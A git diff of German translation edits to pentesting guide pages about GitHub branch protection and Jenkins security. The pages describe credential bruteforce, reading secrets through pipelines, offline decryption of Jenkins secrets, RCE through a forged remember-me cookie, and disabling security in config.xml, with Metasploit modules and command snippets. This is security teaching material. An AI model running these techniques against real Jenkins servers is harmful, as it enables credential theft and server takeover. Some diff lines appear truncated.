PR. +- Sie können **eine PR vor dem Mergen verlangen** (so dass Sie Code nicht direkt über den Branch mergen können). Wenn dies ausgewählt ist, können verschiedene andere Schutzmaßnahmen in Kraft treten: +- **Eine Anzahl von Genehmigungen verlangen**. Es ist sehr üblich, 1 oder 2 weitere Personen zu verlangen, die Ihre PR genehmigen, damit ein einzelner Benutzer nicht in der Lage ist, Code direkt zu mergen. +- **Genehmigungen zurückweisen, wenn neue Commits gepusht werden**. Andernfalls könnte ein Benutzer legitimen Code genehmigen und dann bösartigen Code hinzufügen und mergen. +- **Überprüfungen von Code-Eigentümern verlangen**. Mindestens 1 Code-Eigentümer des Repos muss die PR genehmigen (so dass "zufällige" Benutzer dies nicht genehmigen können). +- **Einschränken, wer Pull-Request-Überprüfungen zurückweisen kann.** Sie können Personen oder Teams angeben, die berechtigt sind, Pull-Request-Überprüfungen zurückzuweisen. +- **Bestimmten Akteuren erlauben, die Anforderungen an Pull-Requests zu umgehen**. Diese Benutzer können vorherige Einschränkungen umgehen. +- **Statusprüfungen verlangen, die vor dem Mergen bestehen müssen.** Einige Prüfungen müssen bestehen, bevor der Commit gemergt werden kann (wie eine Github-Aktion, die überprüft, dass es kein Klartextgeheimnis gibt). +- **Gespräche vor dem Mergen lösen.** Alle Kommentare zum Code müssen gelöst werden, bevor die PR gemergt werden kann. +- **Signierte Commits verlangen**. Die Commits müssen signiert sein. +- **Lineare Historie verlangen.** Verhindern, dass Merge-Commits in übereinstimmende Branches gepusht werden. +- **Administratoren einbeziehen**. Wenn dies nicht festgelegt ist, können Administratoren die Einschränkungen umgehen. +- **Einschränken, wer in übereinstimmende Branches pushen kann**. Einschränken, wer einen PR senden kann. > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> Wie Sie sehen können, selbst wenn Sie es geschafft haben, einige Anmeldeinformationen eines Benutzers zu erhalten, **könnten Repos geschützt sein, sodass Sie beispielsweise keinen Code in master pushen können, um die CI/CD-Pipeline zu kompromittieren**. -## References +## Referenzen - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index ce6d2469d..71d347801 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -4,7 +4,7 @@ ## Grundlegende Informationen -Jenkins ist ein Tool, das eine unkomplizierte Methode bietet, um eine **Continuous Integration** oder **Continuous Delivery** (CI/CD) Umgebung für fast **jede** Kombination von **Programmiersprachen** und Quellcode-Repositories mithilfe von Pipelines einzurichten. Darüber hinaus automatisiert es verschiedene routinemäßige Entwicklungsaufgaben. Während Jenkins die **Notwendigkeit, Skripte für einzelne Schritte zu erstellen**, nicht beseitigt, bietet es eine schnellere und robustere Möglichkeit, die gesamte Abfolge von Build-, Test- und Bereitstellungstools zu integrieren, als man sie leicht manuell erstellen kann. +Jenkins ist ein Tool, das eine einfache Methode bietet, um eine **Continuous Integration** oder **Continuous Delivery** (CI/CD) Umgebung für fast **jede** Kombination von **Programmiersprachen** und Quellcode-Repositories mithilfe von Pipelines einzurichten. Darüber hinaus automatisiert es verschiedene routinemäßige Entwicklungsaufgaben. Während Jenkins die **Notwendigkeit, Skripte für einzelne Schritte zu erstellen**, nicht beseitigt, bietet es eine schnellere und robustere Möglichkeit, die gesamte Abfolge von Build-, Test- und Bereitstellungstools zu integrieren, als man sie leicht manuell erstellen kann. {{#ref}} basic-jenkins-information.md @@ -22,7 +22,7 @@ msf> use auxiliary/scanner/http/jenkins_command ``` Ohne Anmeldeinformationen können Sie im _**/asynchPeople/**_ Pfad oder _**/securityRealm/user/admin/search/index?q=**_ nach **Benutzernamen** suchen. -Sie können möglicherweise die Jenkins-Version aus dem Pfad _**/oops**_ oder _**/error**_ abrufen. +Sie können möglicherweise die Jenkins-Version über den Pfad _**/oops**_ oder _**/error**_ abrufen. ### Bekannte Schwachstellen @@ -48,7 +48,7 @@ Wenn **SSO** **Funktionalität**/**Plugins** vorhanden sind, sollten Sie versuch ### Bruteforce -**Jenkins** hat keine **Passwortrichtlinie** und keine **Maßnahmen zur Minderung von Benutzernamen-Bruteforce**. Es ist wichtig, **Benutzer zu bruteforcen**, da **schwache Passwörter** oder **Benutzernamen als Passwörter** verwendet werden könnten, sogar **umgekehrte Benutzernamen als Passwörter**. +**Jenkins** hat keine **Passwortrichtlinie** und keine **Minderung von Benutzernamen-Bruteforce**. Es ist wichtig, **Benutzer zu bruteforcen**, da **schwache Passwörter** oder **Benutzernamen als Passwörter** verwendet werden können, sogar **umgekehrte Benutzernamen als Passwörter**. ``` msf> use auxiliary/scanner/http/jenkins_login ``` @@ -56,9 +56,9 @@ msf> use auxiliary/scanner/http/jenkins_login Verwenden Sie [dieses Python-Skript](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) oder [dieses PowerShell-Skript](https://github.com/chryzsh/JenkinsPasswordSpray). -### IP-Whitelist-Umgehung +### IP-Whitelisting-Umgehung -Viele Organisationen kombinieren **SaaS-basierte Quellcodeverwaltungssysteme (SCM)** wie GitHub oder GitLab mit einer **internen, selbstgehosteten CI**-Lösung wie Jenkins oder TeamCity. Dieses Setup ermöglicht es CI-Systemen, **Webhook-Ereignisse von SaaS-Quellcodeanbietern** zu **empfangen**, hauptsächlich um Pipeline-Jobs auszulösen. +Viele Organisationen kombinieren **SaaS-basierte Quellcodeverwaltungssysteme (SCM)** wie GitHub oder GitLab mit einer **internen, selbst gehosteten CI**-Lösung wie Jenkins oder TeamCity. Dieses Setup ermöglicht es CI-Systemen, **Webhook-Ereignisse von SaaS-Quellcodeanbietern** zu **empfangen**, hauptsächlich um Pipeline-Jobs auszulösen. Um dies zu erreichen, **whitelisten** Organisationen die **IP-Bereiche** der **SCM-Plattformen**, die ihnen den Zugriff auf das **interne CI-System** über **Webhooks** ermöglichen. Es ist jedoch wichtig zu beachten, dass **jeder** ein **Konto** auf GitHub oder GitLab erstellen und es so konfigurieren kann, dass es **einen Webhook auslöst**, was potenziell Anfragen an das **interne CI-System** senden kann. @@ -69,7 +69,7 @@ Um dies zu erreichen, **whitelisten** Organisationen die **IP-Bereiche** der **S In diesen Szenarien gehen wir davon aus, dass Sie ein gültiges Konto haben, um auf Jenkins zuzugreifen. > [!WARNING] -> Abhängig von dem in Jenkins konfigurierten **Autorisierungs**-Mechanismus und den Berechtigungen des kompromittierten Benutzers **könnten Sie in der Lage sein oder nicht, die folgenden Angriffe durchzuführen.** +> Abhängig von dem in Jenkins konfigurierten **Autorisierungs**mechanismus und den Berechtigungen des kompromittierten Benutzers **könnten Sie in der Lage sein oder nicht, die folgenden Angriffe durchzuführen.** Für weitere Informationen überprüfen Sie die grundlegenden Informationen: @@ -89,13 +89,13 @@ python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build cd build_dumps gitleaks detect --no-git -v ``` -### **SSH-Anmeldeinformationen stehlen** +### **Diebstahl von SSH-Anmeldeinformationen** Wenn der kompromittierte Benutzer **ausreichende Berechtigungen hat, um einen neuen Jenkins-Knoten zu erstellen/zu ändern** und SSH-Anmeldeinformationen bereits gespeichert sind, um auf andere Knoten zuzugreifen, könnte er **diese Anmeldeinformationen stehlen**, indem er einen Knoten erstellt/ändert und **einen Host festlegt, der die Anmeldeinformationen aufzeichnet**, ohne den Hostschlüssel zu überprüfen: ![](<../../images/image (218).png>) -Sie finden Jenkins-SSH-Anmeldeinformationen normalerweise in einem **globalen Anbieter** (`/credentials/`), sodass Sie sie auch dumpen können, wie Sie es mit anderen Geheimnissen tun würden. Weitere Informationen im [**Abschnitt Geheimnisse dumpen**](./#dumping-secrets). +Sie finden normalerweise Jenkins-SSH-Anmeldeinformationen in einem **globalen Anbieter** (`/credentials/`), sodass Sie sie auch dumpen können, wie Sie es mit anderen Geheimnissen tun würden. Weitere Informationen im [**Abschnitt Geheimnisse dumpen**](./#dumping-secrets). ### **RCE in Jenkins** @@ -103,7 +103,7 @@ Einen **Shell-Zugang zum Jenkins-Server** zu erhalten, gibt dem Angreifer die M Standardmäßig wird Jenkins **als SYSTEM** ausgeführt. Das Kompromittieren von Jenkins gibt dem Angreifer **SYSTEM-Berechtigungen**. -### **RCE durch Erstellen/Ändern eines Projekts** +### **RCE Erstellen/Ändern eines Projekts** Das Erstellen/Ändern eines Projekts ist eine Möglichkeit, RCE über den Jenkins-Server zu erhalten: @@ -119,7 +119,7 @@ Sie können auch RCE erhalten, indem Sie ein Groovy-Skript ausführen, was mögl jenkins-rce-with-groovy-script.md {{#endref}} -### RCE durch Erstellen/Ändern einer Pipeline +### RCE Erstellen/Ändern einer Pipeline Sie können auch **RCE erhalten, indem Sie eine Pipeline erstellen/ändern**: @@ -137,10 +137,10 @@ Um Pipelines auszunutzen, müssen Sie weiterhin Zugriff auf Jenkins haben. ![](<../../images/image (127).png>) -Es ist auch möglich, **Pipeline-Konfigurationsdateien an anderen Orten** (zum Beispiel in anderen Repositories) zu speichern, um den **Zugriff** auf das Repository und den Zugriff auf die Pipeline zu **trennen**. +Es ist auch möglich, **Pipeline-Konfigurationsdateien an anderen Orten** zu speichern (zum Beispiel in anderen Repositories), um den **Zugriff** auf das Repository und den Zugriff auf die Pipeline **zu trennen**. Wenn ein Angreifer **Schreibzugriff auf diese Datei hat**, kann er sie **ändern** und die Pipeline **potenziell auslösen**, ohne überhaupt Zugriff auf Jenkins zu haben.\ -Es ist möglich, dass der Angreifer einige **Branch-Schutzmaßnahmen umgehen** muss (je nach Plattform und Benutzerberechtigungen könnten sie umgangen werden oder nicht). +Es ist möglich, dass der Angreifer **einige Branch-Schutzmaßnahmen umgehen** muss (je nach Plattform und Benutzerberechtigungen könnten diese umgangen werden oder nicht). Die häufigsten Auslöser zum Ausführen einer benutzerdefinierten Pipeline sind: @@ -186,7 +186,7 @@ Es gibt ein weiteres Problem: Um ein **Geheimnis innerhalb der env** einer Pipel ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` -Hier haben Sie die Möglichkeit, einige gängige Geheimnisarten zu laden: +Hier ist die Möglichkeit, einige gängige Geheimnisarten zu laden: ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { sh ''' @@ -214,15 +214,15 @@ env ''' } ``` -Am Ende dieser Seite können Sie **alle Arten von Anmeldeinformationen** finden: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) +Am Ende dieser Seite können Sie **alle Arten von Anmeldeinformationen finden**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> Der beste Weg, um **alle Geheimnisse auf einmal zu dumpen**, besteht darin, die **Jenkins**-Maschine zu **kompromittieren** (zum Beispiel durch Ausführen einer Reverse-Shell im **eingebauten Knoten**) und dann die **Master-Schlüssel** und die **verschlüsselten Geheimnisse** zu **leaken** und sie offline zu entschlüsseln.\ +> Der beste Weg, um **alle Geheimnisse auf einmal zu dumpen**, besteht darin, die **Jenkins**-Maschine zu **kompromittieren** (zum Beispiel einen Reverse-Shell im **eingebauten Knoten** auszuführen) und dann die **Master-Schlüssel** und die **verschlüsselten Geheimnisse** zu **leaken** und sie offline zu entschlüsseln.\ > Mehr dazu im Abschnitt [Nodes & Agents](./#nodes-and-agents) und im Abschnitt [Post Exploitation](./#post-exploitation). ### Trigger -Aus [den Dokumenten](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers`-Direktive definiert die **automatisierten Möglichkeiten, wie die Pipeline erneut ausgelöst werden sollte**. Für Pipelines, die mit einer Quelle wie GitHub oder BitBucket integriert sind, sind `triggers` möglicherweise nicht erforderlich, da eine webhook-basierte Integration wahrscheinlich bereits vorhanden ist. Die derzeit verfügbaren Trigger sind `cron`, `pollSCM` und `upstream`. +Aus [den Docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): Die `triggers`-Direktive definiert die **automatisierten Möglichkeiten, wie die Pipeline erneut ausgelöst werden sollte**. Für Pipelines, die mit einer Quelle wie GitHub oder BitBucket integriert sind, sind `triggers` möglicherweise nicht erforderlich, da eine webhook-basierte Integration wahrscheinlich bereits vorhanden ist. Die derzeit verfügbaren Trigger sind `cron`, `pollSCM` und `upstream`. Cron-Beispiel: ```bash @@ -240,13 +240,13 @@ Für weitere Informationen überprüfen Sie die grundlegenden Informationen: basic-jenkins-information.md {{#endref}} -Sie können die **konfigurierten Knoten** in `/computer/` auflisten, Sie werden normalerweise den **`Built-In Node`** (der Knoten, der Jenkins ausführt) und möglicherweise weitere finden: +Sie können die **konfigurierten Knoten** in `/computer/` auflisten, Sie werden normalerweise den \*\*`Built-In Node` \*\* (der Knoten, der Jenkins ausführt) und möglicherweise weitere finden: ![](<../../images/image (249).png>) Es ist **besonders interessant, den Built-In Node zu kompromittieren**, da er sensible Jenkins-Informationen enthält. -Um anzugeben, dass Sie die **Pipeline** im **Built-In Jenkins Node** **ausführen** möchten, können Sie innerhalb der Pipeline die folgende Konfiguration angeben: +Um anzugeben, dass Sie die **Pipeline** im **Built-In Jenkins Node** ausführen möchten, können Sie innerhalb der Pipeline die folgende Konfiguration angeben: ```bash pipeline { agent {label 'built-in'} @@ -312,7 +312,7 @@ msf> post/multi/gather/jenkins_gather ``` ### Jenkins-Geheimnisse -Sie können die Geheimnisse auflisten, indem Sie auf `/credentials/` zugreifen, wenn Sie über ausreichende Berechtigungen verfügen. Beachten Sie, dass dies nur die Geheimnisse innerhalb der `credentials.xml`-Datei auflistet, aber **Build-Konfigurationsdateien** möglicherweise auch **weitere Anmeldeinformationen** enthalten. +Sie können die Geheimnisse auflisten, indem Sie auf `/credentials/` zugreifen, wenn Sie über ausreichende Berechtigungen verfügen. Beachten Sie, dass dies nur die Geheimnisse in der Datei `credentials.xml` auflistet, aber **Build-Konfigurationsdateien** möglicherweise auch **weitere Anmeldeinformationen** enthalten. Wenn Sie **die Konfiguration jedes Projekts sehen können**, können Sie dort auch die **Namen der Anmeldeinformationen (Geheimnisse)** sehen, die verwendet werden, um auf das Repository zuzugreifen, sowie **andere Anmeldeinformationen des Projekts**. @@ -326,7 +326,7 @@ jenkins-dumping-secrets-from-groovy.md #### Vom Datenträger -Diese Dateien werden benötigt, um **Jenkins-Geheimnisse zu entschlüsseln**: +Diese Dateien sind erforderlich, um **Jenkins-Geheimnisse zu entschlüsseln**: - secrets/master.key - secrets/hudson.util.Secret @@ -349,7 +349,7 @@ credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOm ``` #### Jenkins-Geheimnisse offline entschlüsseln -Wenn Sie die **benötigten Passwörter zum Entschlüsseln der Geheimnisse** extrahiert haben, verwenden Sie [**dieses Skript**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py), **um diese Geheimnisse zu entschlüsseln**. +Wenn Sie die **benötigten Passwörter zur Entschlüsselung der Geheimnisse** haben, verwenden Sie [**dieses Skript**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **um diese Geheimnisse zu entschlüsseln**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -357,13 +357,13 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` -#### Entschlüsseln von Jenkins-Geheimnissen aus Groovy +#### Jenkins-Geheimnisse aus Groovy entschlüsseln ```bash println(hudson.util.Secret.decrypt("{...}")) ``` ### Erstellen eines neuen Administrators -1. Greifen Sie auf die Jenkins config.xml-Datei in `/var/lib/jenkins/config.xml` oder `C:\Program Files (x86)\Jenkins\` zu. +1. Greifen Sie auf die Jenkins config.xml-Datei in `/var/lib/jenkins/config.xml` oder `C:\Program Files (x86)\Jenkis\` zu. 2. Suchen Sie nach dem Wort `true` und ändern Sie das Wort **`true`** in **`false`**. 1. `sed -i -e 's/truefalse) @@ -42,9 +42,9 @@ In `/configureSecurity` ist es möglich, die **Autorisierungsmethode von Jenkins In `/configureSecurity` ist es möglich, den **Sicherheitsbereich zu konfigurieren.** Standardmäßig unterstützt Jenkins einige verschiedene Sicherheitsbereiche: -- **An Servlet-Container delegieren**: Für **die Authentifizierung an einen Servlet-Container, der den Jenkins-Controller ausführt**, wie [Jetty](https://www.eclipse.org/jetty/). +- **Delegieren an den Servlet-Container**: Für **die Authentifizierung an einen Servlet-Container, der den Jenkins-Controller ausführt**, wie [Jetty](https://www.eclipse.org/jetty/). - **Jenkins eigene Benutzerdatenbank:** Verwenden Sie **Jenkins eigene integrierte Benutzerdatenbank** zur Authentifizierung, anstatt an ein externes System zu delegieren. Dies ist standardmäßig aktiviert. -- **LDAP**: Delegiert die gesamte Authentifizierung an einen konfigurierten LDAP-Server, einschließlich sowohl Benutzer als auch Gruppen. +- **LDAP**: Delegieren Sie die gesamte Authentifizierung an einen konfigurierten LDAP-Server, einschließlich sowohl Benutzer als auch Gruppen. - **Unix-Benutzer-/Gruppendatenbank**: **Delegiert die Authentifizierung an die zugrunde liegende Unix**-OS-Benutzerdatenbank auf dem Jenkins-Controller. Dieser Modus ermöglicht auch die Wiederverwendung von Unix-Gruppen für die Autorisierung. Plugins können zusätzliche Sicherheitsbereiche bereitstellen, die nützlich sein können, um Jenkins in bestehende Identitätssysteme zu integrieren, wie zum Beispiel: @@ -59,17 +59,17 @@ Definitionen aus den [Docs](https://www.jenkins.io/doc/book/managing/nodes/): **Knoten** sind die **Maschinen**, auf denen die Build-**Agenten laufen**. Jenkins überwacht jeden angeschlossenen Knoten auf Speicherplatz, freien temporären Speicher, freien Swap, Uhrzeit/Synchronisation und Reaktionszeit. Ein Knoten wird offline genommen, wenn einer dieser Werte außerhalb des konfigurierten Schwellenwerts liegt. -**Agenten** **verwalten** die **Aufgabenausführung** im Auftrag des Jenkins-Controllers, indem sie **Executor verwenden**. Ein Agent kann jedes Betriebssystem verwenden, das Java unterstützt. Werkzeuge, die für Builds und Tests erforderlich sind, werden auf dem Knoten installiert, auf dem der Agent läuft; sie können **direkt oder in einem Container** (Docker oder Kubernetes) installiert werden. Jeder **Agent ist effektiv ein Prozess mit seiner eigenen PID** auf der Hostmaschine. +**Agenten** **verwalten** die **Aufgabenausführung** im Auftrag des Jenkins-Controllers, indem sie **Executor** verwenden. Ein Agent kann jedes Betriebssystem verwenden, das Java unterstützt. Die für Builds und Tests erforderlichen Tools sind auf dem Knoten installiert, auf dem der Agent läuft; sie können **direkt oder in einem Container** (Docker oder Kubernetes) installiert werden. Jeder **Agent ist effektiv ein Prozess mit seiner eigenen PID** auf der Hostmaschine. -Ein **Executor** ist ein **Slot für die Ausführung von Aufgaben**; effektiv ist es **ein Thread im Agenten**. Die **Anzahl der Executor** auf einem Knoten definiert die Anzahl der **gleichzeitigen Aufgaben**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können. Mit anderen Worten, dies bestimmt die **Anzahl der gleichzeitigen Pipeline `Stufen`**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können. +Ein **Executor** ist ein **Slot für die Ausführung von Aufgaben**; effektiv ist es **ein Thread im Agenten**. Die **Anzahl der Executor** auf einem Knoten definiert die Anzahl der **gleichzeitigen Aufgaben**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können. Mit anderen Worten, dies bestimmt die **Anzahl der gleichzeitigen Pipeline `stages`**, die zu einem Zeitpunkt auf diesem Knoten ausgeführt werden können. ## Jenkins-Geheimnisse ### Verschlüsselung von Geheimnissen und Anmeldeinformationen -Definition aus den [Docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins verwendet **AES zur Verschlüsselung und zum Schutz von Geheimnissen**, Anmeldeinformationen und deren jeweiligen Verschlüsselungsschlüsseln. Diese Verschlüsselungsschlüssel werden in `$JENKINS_HOME/secrets/` zusammen mit dem Master-Schlüssel gespeichert, der zum Schutz dieser Schlüssel verwendet wird. Dieses Verzeichnis sollte so konfiguriert werden, dass nur der Betriebssystembenutzer, unter dem der Jenkins-Controller läuft, Lese- und Schreibzugriff auf dieses Verzeichnis hat (d.h. ein `chmod`-Wert von `0700` oder unter Verwendung geeigneter Dateiattribute). Der **Master-Schlüssel** (manchmal als "Schlüsselverschlüsselungsschlüssel" in der Kryptojargon bezeichnet) wird **_unverschlüsselt_** auf dem Dateisystem des Jenkins-Controllers in **`$JENKINS_HOME/secrets/master.key`** gespeichert, was nicht vor Angreifern schützt, die direkten Zugriff auf diese Datei haben. Die meisten Benutzer und Entwickler verwenden diese Verschlüsselungsschlüssel indirekt über entweder die [Secret](https://javadoc.jenkins.io/byShortName/Secret) API zur Verschlüsselung generischer geheimer Daten oder über die Anmeldeinformations-API. Für die kryptografisch Neugierigen verwendet Jenkins AES im Cipher Block Chaining (CBC)-Modus mit PKCS#5-Padding und zufälligen IVs, um Instanzen von [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) zu verschlüsseln, die in `$JENKINS_HOME/secrets/` mit einem Dateinamen gespeichert werden, der ihrer `CryptoConfidentialKey`-ID entspricht. Häufige Schlüssel-IDs umfassen: +Definition aus den [Docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins verwendet **AES zur Verschlüsselung und zum Schutz von Geheimnissen**, Anmeldeinformationen und deren jeweiligen Verschlüsselungsschlüsseln. Diese Verschlüsselungsschlüssel werden in `$JENKINS_HOME/secrets/` zusammen mit dem Master-Schlüssel gespeichert, der zum Schutz dieser Schlüssel verwendet wird. Dieses Verzeichnis sollte so konfiguriert werden, dass nur der Betriebssystembenutzer, unter dem der Jenkins-Controller läuft, Lese- und Schreibzugriff auf dieses Verzeichnis hat (d.h. ein `chmod`-Wert von `0700` oder unter Verwendung geeigneter Dateiattribute). Der **Master-Schlüssel** (manchmal in der Kryptosprache als "Key Encryption Key" bezeichnet) wird **_unverschlüsselt_** auf dem Dateisystem des Jenkins-Controllers in **`$JENKINS_HOME/secrets/master.key`** gespeichert, was nicht vor Angreifern schützt, die direkten Zugriff auf diese Datei haben. Die meisten Benutzer und Entwickler verwenden diese Verschlüsselungsschlüssel indirekt über entweder die [Secret](https://javadoc.jenkins.io/byShortName/Secret) API zur Verschlüsselung allgemeiner geheimer Daten oder über die Anmeldeinformations-API. Für die kryptokuriosen Benutzer verwendet Jenkins AES im Cipher Block Chaining (CBC)-Modus mit PKCS#5-Padding und zufälligen IVs, um Instanzen von [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) zu verschlüsseln, die in `$JENKINS_HOME/secrets/` mit einem Dateinamen gespeichert werden, der ihrer `CryptoConfidentialKey`-ID entspricht. Häufige Schlüssel-IDs sind: -- `hudson.util.Secret`: verwendet für generische Geheimnisse; +- `hudson.util.Secret`: verwendet für allgemeine Geheimnisse; - `com.cloudbees.plugins.credentials.SecretBytes.KEY`: verwendet für einige Anmeldeinformationstypen; - `jenkins.model.Jenkins.crumbSalt`: verwendet vom [CSRF-Schutzmechanismus](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); und @@ -77,7 +77,7 @@ Definition aus den [Docs](https://www.jenkins.io/doc/developer/security/secrets/ Anmeldeinformationen können **globalen Anbietern** (`/credentials/`) zugewiesen werden, auf die von jedem konfigurierten Projekt zugegriffen werden kann, oder sie können auf **spezifische Projekte** (`/job//configure`) beschränkt werden und sind daher nur von dem spezifischen Projekt aus zugänglich. -Laut [**den Docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Anmeldeinformationen, die im Geltungsbereich sind, stehen der Pipeline ohne Einschränkungen zur Verfügung. Um **versehentliche Offenlegung im Build-Protokoll** zu verhindern, werden Anmeldeinformationen **maskiert** und sind nicht in der regulären Ausgabe sichtbar, sodass ein Aufruf von `env` (Linux) oder `set` (Windows) oder Programme, die ihre Umgebung oder Parameter drucken, **sie nicht im Build-Protokoll offenbaren** für Benutzer, die sonst keinen Zugriff auf die Anmeldeinformationen hätten. +Laut [**den Docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Anmeldeinformationen, die im Geltungsbereich sind, stehen der Pipeline ohne Einschränkungen zur Verfügung. Um **versehentliche Offenlegung im Build-Protokoll** zu verhindern, werden Anmeldeinformationen **maskiert** und sind nicht im regulären Output sichtbar, sodass ein Aufruf von `env` (Linux) oder `set` (Windows) oder Programme, die ihre Umgebung oder Parameter drucken, **sie im Build-Protokoll nicht offenbaren** für Benutzer, die ansonsten keinen Zugriff auf die Anmeldeinformationen hätten. **Deshalb muss ein Angreifer, um die Anmeldeinformationen zu exfiltrieren, sie beispielsweise base64 kodieren.** diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md index bb844e998..2eb0174bd 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -4,12 +4,12 @@ In diesem Blogbeitrag ist es möglich, einen großartigen Weg zu finden, um eine Local File Inclusion-Sicherheitsanfälligkeit in Jenkins in RCE zu verwandeln: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/) -Dies ist eine von KI erstellte Zusammenfassung des Teils des Beitrags, in dem das Erstellen eines willkürlichen Cookies missbraucht wird, um RCE zu erhalten, indem eine lokale Datei gelesen wird, bis ich Zeit habe, eine eigene Zusammenfassung zu erstellen: +Dies ist eine von KI erstellte Zusammenfassung des Teils des Beitrags, in dem das Erstellen eines beliebigen Cookies ausgenutzt wird, um RCE zu erhalten, indem eine lokale Datei gelesen wird, bis ich Zeit habe, eine eigene Zusammenfassung zu erstellen: ### Angriffsvoraussetzungen - **Funktionsanforderung:** "Remember me" muss aktiviert sein (Standardeinstellung). -- **Zugriffslevel:** Angreifer benötigt Gesamt-/Leseberechtigungen. +- **Zugriffslevel:** Angreifer benötigt Gesamt-/Lese-Berechtigungen. - **Geheimer Zugriff:** Fähigkeit, sowohl binäre als auch textuelle Inhalte aus wichtigen Dateien zu lesen. ### Detaillierter Ausbeutungsprozess @@ -18,7 +18,7 @@ Dies ist eine von KI erstellte Zusammenfassung des Teils des Beitrags, in dem da **Benutzerinformationsabruf** -- Greifen Sie auf die Benutzerkonfiguration und Geheimnisse aus `$JENKINS_HOME/users/*.xml` für jeden Benutzer zu, um Folgendes zu sammeln: +- Greifen Sie auf die Benutzerkonfiguration und Geheimnisse von `$JENKINS_HOME/users/*.xml` für jeden Benutzer zu, um Folgendes zu sammeln: - **Benutzername** - **Benutzersamen** - **Zeitstempel** @@ -65,7 +65,7 @@ macKey = decrypted.withoutSuffix("::::MAGIC::::") ```javascript mac = HmacSHA256(token, macKey) // Berechnen Sie HMAC mit dem Token und dem MAC-Schlüssel -tokenSignature = bytesToHexString(mac) // Konvertieren Sie das MAC in einen hexadezimalen String +tokenSignature = bytesToHexString(mac) // Konvertieren Sie das MAC in eine hexadezimale Zeichenfolge ``` **Cookie-Codierung** @@ -100,6 +100,6 @@ curl -X POST "$JENKINS_URL/scriptText" \ - Das Groovy-Skript kann verwendet werden, um systemweite Befehle oder andere Operationen innerhalb der Jenkins-Umgebung auszuführen. -Der bereitgestellte Beispiel-curl-Befehl zeigt, wie man eine Anfrage an Jenkins mit den erforderlichen Headern und Cookies sendet, um willkürlichen Code sicher auszuführen. +Der bereitgestellte Beispiel-curl-Befehl zeigt, wie man eine Anfrage an Jenkins mit den erforderlichen Headern und Cookies sendet, um beliebigen Code sicher auszuführen. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md index af6c230a8..0198cbf89 100644 --- a/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md +++ b/src/pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md @@ -5,7 +5,7 @@ > [!WARNING] > Beachten Sie, dass diese Skripte nur die Geheimnisse in der `credentials.xml`-Datei auflisten, aber **Build-Konfigurationsdateien** möglicherweise auch **weitere Anmeldeinformationen** enthalten. -Sie können **alle Geheimnisse aus der Groovy-Skript-Konsole** in `/script` dumpen, indem Sie diesen Code ausführen. +Sie können **alle Geheimnisse aus der Groovy-Skript-Konsole** in `/script` mit diesem Code ausgeben ```java // From 